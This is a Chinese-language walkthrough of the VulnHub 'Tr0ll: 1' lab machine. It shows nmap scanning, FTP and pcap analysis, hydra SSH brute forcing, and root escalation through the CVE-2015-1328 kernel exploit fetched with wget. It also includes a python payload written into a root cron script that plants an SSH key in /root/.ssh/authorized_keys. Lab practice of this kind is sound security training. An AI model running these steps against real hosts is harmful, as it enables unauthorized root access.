VulnHub靶场篇2-Tr0ll

靶机地址:Tr0ll: 1 ~ VulnHub

文章主要是简要记录每一个过程,没有专门地对每一步截图,也许有些步骤中并不详细,会在文末附上相关详细的渗透文章

主机探测&端口扫描

nmap主机探测:

nmap 192.168.31.0/24
# 扫描该网段上存在的主机IP
# 扫描到该主机ip为192.168.31.43

nmap端口扫描

nmap -sV -A -p- -T5 192.168.31.43
# 扫到21ftp服务、22ssh服务、80http服务

信息搜集&权限获取

21端口

使用ftp相关指令,得到一个.pcap文件分析包

# 登录
ftp 192.168.31.43
Name: anonymous
Pass: 无

# 查看目录下的文件信息
ftp> dir

# 下载文件到本地
ftp> get lol.pcap

使用WireShark分析该文件
在第40处有提示信息 sup3rs3cr3tdirlol ,先留着

80端口

直接访问,一张图片,下载下来图片分析没啥用

访问robots.txt文件,有一个/secret目录,进入该目录,也是一张图片,也没啥用

*尝试访问上面21端口的提示信息 (没想到)

http://192.168.31.43/sup3rs3cr3tdirlol/

该目录下有个roflmao文件,下载分析

> file roflmao
roflmao: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5e14420eaa59e599c2f508490483d959f3d2cf4f, not stripped
# 是一个32ELF可执行文件

在使用strings

> strings roflmao
# 得到提示信息
[^_]
Find address 0x0856BF to proceed
;*2$"
GCC: (Ubuntu 4.8.2-19ubuntu1) 4.8.2

*访问 http://192.168.31.43/0x0856BF/ (没想到)

在该目录下分别获取两个文件,似乎一个是username,一个是password

使用hydra进行爆破,但是无果

hydra -L which_one_lol.txt -P Pass.txt 192.168.31.43 ssh

*密码是文件名Pass.txt (离谱,没想到)

hydra -L which_one_lol.txt -p Pass.txt 192.168.31.43 ssh

得到username:overflowpassword:Pass.txt

ssh登录上该用户,是个低权限用户

ssh overflow@192.168.31.43

权限提升

一、利用漏洞

先使用ptyhon获得tty伪终端,便于操作

python -c 'import pty; pty.spawn("/bin/bash")'

查看Linux版本 Ubuntu 14.04

> lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.1 LTS
Release:        14.04
Codename:       trusty

查看内核版本 3.13

> uname -a
Linux version 3.13.0-32-generic

根据版本信息,去exploit-db找相关漏洞

搜索 Ubuntu 14.04 Linux Kernel 3.13
找到 CVE-2015-1328 ,ID为37292

可以通过msf找到该脚本下载,或者直接网上下载

Python搭建简易服务器

python -m SimpleHTTPServer 5555

使用低权限用户获取该脚本,切换到/tmp目录下

wget http://192.168.31.43:5555/37292.c

编译该脚本

gcc 37292.c -o 37292

执行即可

二、修改计划任务

先登录 overflow@192.168.31.43,查看计划任务,发现有一个cleaner.py文件

cat /var/log/cronlog

前往该文件所在处,该计划任务是以root权限执行,但是普通用户可以进行修改

cd /lib/log/cronlog

这里提权思路就是通过生成公钥私钥,利用计划任务将公钥写入靶机的.ssh处,再通过私钥进行连接root

使用ssh-keygen生成公钥私钥

ssh-keygen
路径默认
密码默认为空,直接回车就行

可以在.ssh目录下看见公钥和私钥文件

在低权限用户下,修改cleaner.py文件

#!/usr/bin/env python
import os
import sys
try:
	os.system('mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDE/S4eDFWDVHpqZv9izkNf0A8oXz3FV/mOIgjeX/IX390DNGaglw4ujxTX+0owJJhaGwTUMtHJ5imTrHQdwLZxT9GL5ooj6AoHYw+7wAjqyYO/u57+vswMr7M7HejWUS8K4jUO+nLWkwnDVfK3fYeZWTciSutYCRXlbNHCTKzYuIo+DmLuSFuWhpeZszFvWt5H5qAg2NYrsNJTSWNoea5UfYcNzA3/0I1zMkIL7/m0vcp0WQ6JdZeXtllxfINUMqvYXSUw7ovvrdVI2BxtwfWAm6WgCHe2oKE2tsGxkOkwzHahgoemcnqonEUtpv83VDE7rAaFs/EgNeJtPsxyA7upzPErrGk4H1AQ/6h/ZRJkR84PvznWN69BPh+Akxf1PB2SBnASkzVEbCYIMLXYGC28GVC76Yi0wRH3hl6cg3NqZcVTRCCjmGQTxUxySnBu4JxlT2p5h875NcQWjtG/JcLbuZfKbGuJ6CATnR+QJfCdY6mF66ist6hclxmpUtMwcEs= hhh@HHH" >> /root/.ssh/authorized_keys')
except:
	sys.exit()

等待一会,等到计划任务执行后,直接登录root用户

ssh root@192.168.31.43
直接就可以的登录进去

总结

  1. ftp操作指令
  2. pcap文件分析包,Wireshark使用
  3. 一些脑洞极大的回路
  4. 公钥私钥
  5. vim使用
  6. 计划任务crontab

参考

终端、Shell、tty 和控制台(console)有什么区别? - 知乎 (zhihu.com)

Linux 伪终端(pty) - sparkdev - 博客园 (cnblogs.com)

Linux 的计划任务(运维基础|可用于提权) - anything good - 博客园 (cnblogs.com)

原文地址:https://www.cnblogs.com/labster/p/14325019.html